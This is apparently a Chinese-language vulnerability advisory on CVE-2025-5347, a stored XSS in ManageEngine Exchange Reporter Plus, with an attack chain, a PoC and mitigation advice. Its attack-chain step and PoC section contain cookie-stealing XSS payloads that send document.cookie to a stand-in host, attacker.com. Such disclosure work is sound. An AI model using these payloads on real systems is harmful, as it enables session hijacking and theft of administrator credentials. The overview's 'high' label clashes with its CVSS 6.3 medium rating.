IPBUF安全漏洞报告
English
CVE-2025-5347 CVSS 6.3 中危

CVE-2025-5347 ManageEngine Exchange Reporter Plus存储型XSS漏洞

披露日期: 2025-10-30
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-5347
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Zohocorp ManageEngine Exchange Reporter Plus

相关标签

CVE-2025-5347存储型XSS跨站脚本攻击ManageEngineExchange Reporter PlusWeb应用安全会话劫持MEDIUMCVSS 6.3

漏洞概述

CVE-2025-5347是Zohocorp ManageEngine Exchange Reporter Plus中的一个高危安全漏洞,属于存储型跨站脚本攻击(Stored Cross-Site Scripting)。该漏洞存在于报告模块(reports module)中,影响版本5723之前的所有版本。攻击者可以利用此漏洞在受害者的浏览器中执行恶意JavaScript代码,从而窃取会话令牌、劫持用户账户、进行钓鱼攻击或修改页面内容。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问受影响报告的用户都会受到攻击。ManageEngine Exchange Reporter Plus是一款企业级Microsoft Exchange服务器审计和报告解决方案,广泛应用于各类组织机构用于监控和分析Exchange邮件服务器的活動日志、邮件流、安全事件等。该漏洞的CVSS评分为6.3,属于中等严重程度,但由于攻击复杂度低且攻击向量为网络层面,潜在危害不容忽视。漏洞的完整性影响为高,意味着攻击者可以修改应用程序数据或执行未经授权的操作。

技术细节

该漏洞是存储型XSS(Stored XSS),也称为持久性XSS攻击。与反射型XSS不同,存储型XSS的恶意脚本会被永久存储在目标服务器上。当其他用户访问包含恶意脚本的页面时,脚本会自动执行。在ManageEngine Exchange Reporter Plus的reports模块中,应用程序未能对用户输入进行充分的过滤和转义处理。攻击者可以通过在报告名称、报告描述或其他报告相关字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。这些恶意代码会被存储在数据库中,当管理员或用户查看这些报告时,浏览器会解析并执行这些脚本。由于该应用程序可能具有较高的权限,攻击者获取的会话cookie可能包含管理员凭证,从而导致进一步的攻击,如横向移动或数据泄露。攻击者需要具有低权限用户账户(PR:L)才能注入恶意代码,但需要用户交互(UI:R)才能触发攻击(如访问特定报告页面)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标组织使用的ManageEngine Exchange Reporter Plus版本,确认版本号小于5723以确定漏洞存在
STEP 2
步骤2: 获取低权限访问
攻击者获取或注册一个低权限用户账户(PR:L要求),该账户具有创建或编辑报告的权限
STEP 3
步骤3: 注入恶意脚本
通过reports模块的输入字段(如报告名称、描述等)注入包含恶意JavaScript代码的XSS payload,如<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
STEP 4
步骤4: 持久化存储
恶意脚本被永久存储在服务器数据库中(存储型XSS特性),等待其他用户访问触发
STEP 5
步骤5: 诱导受害者访问
攻击者通过社会工程学手段诱导管理员或其他高权限用户访问包含恶意脚本的报告页面(UI:R要求)
STEP 6
步骤6: 脚本执行与数据窃取
当受害者浏览器加载报告页面时,恶意JavaScript自动执行,窃取会话cookie、令牌或其他敏感信息
STEP 7
步骤7: 账户劫持与横向移动
攻击者利用窃取的凭证进行账户劫持,可能获取管理员权限,执行进一步的攻击如数据泄露或系统入侵

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-5347 PoC - Stored XSS in ManageEngine Exchange Reporter Plus // This PoC demonstrates how to exploit the stored XSS vulnerability // Step 1: Inject malicious JavaScript via report creation const xssPayload = '<script>\n // Steal session cookies fetch("https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie)); // Or perform actions on behalf of the user // document.location = "https://attacker.com/phishing"; </script>'; // Example HTTP POST request to create a malicious report const exploitReport = { method: 'POST', path: '/api/reports', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <session_token>' }, body: JSON.stringify({ reportName: 'Test Report' + xssPayload, reportDescription: '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'+ '<script>new Image().src=\'https://attacker.com/capture?c=\'+document.cookie</script>', module: 'reports', // Other required parameters... }) }; // Step 2: When admin views the report, XSS executes // The malicious script will: // 1. Extract session cookies/tokens // 2. Send them to attacker-controlled server // 3. Potentially perform actions as the logged-in user // Simple detection PoC: const simplePoc = '<script>alert("XSS CVE-2025-5347")</script>'; // Inject this into report name field and trigger when viewed

影响范围

ManageEngine Exchange Reporter Plus < 5723

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制低权限用户创建和编辑报告的权限;2) 实施严格的输入过滤规则,拦截和清理包含HTML标签和JavaScript关键字的输入;3) 对所有输出到HTML的内容进行URL编码和HTML实体编码;4) 启用WAF(Web应用防火墙)规则检测和阻止XSS攻击;5) 提醒用户在查看报告时不要点击可疑链接;6) 定期检查数据库中是否存在异常的脚本代码;7) 考虑临时禁用报告模块的某些输入字段直到补丁可用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表